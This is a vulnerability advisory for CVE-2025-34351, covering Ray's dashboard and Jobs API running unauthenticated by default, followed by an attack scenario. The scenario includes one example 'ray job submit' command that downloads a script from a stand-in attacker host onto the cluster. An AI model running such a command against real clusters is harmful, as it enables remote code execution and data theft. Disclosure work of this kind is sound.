CVE-2025-34351

Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.

An adversary runs a Shodan/Censys scan for exposed Ray dashboards on port 8265 — a trivial 5-minute operation. Upon finding an unauthenticated endpoint, they submit a malicious Python job via the Jobs API: 'ray job submit -- python -c "import subprocess,os; subprocess.Popen([curl,attacker.com/bot.sh,-o,/tmp/x]);"'. The job executes on all cluster nodes with the permissions of the Ray worker process, which in cloud environments typically carries attached IAM roles with broad S3/GCS/blob storage access. Within minutes the attacker has: exfiltrated model weights and training data, installed a persistent backdoor, and enrolled the cluster in the ShadowRay 2.0 botnet — which then uses the compromised cluster to scan for and attack other exposed Ray instances, creating a self-propagating AI compute worm. The entire attack chain requires no AI/ML expertise, only awareness that Ray auth is off by default.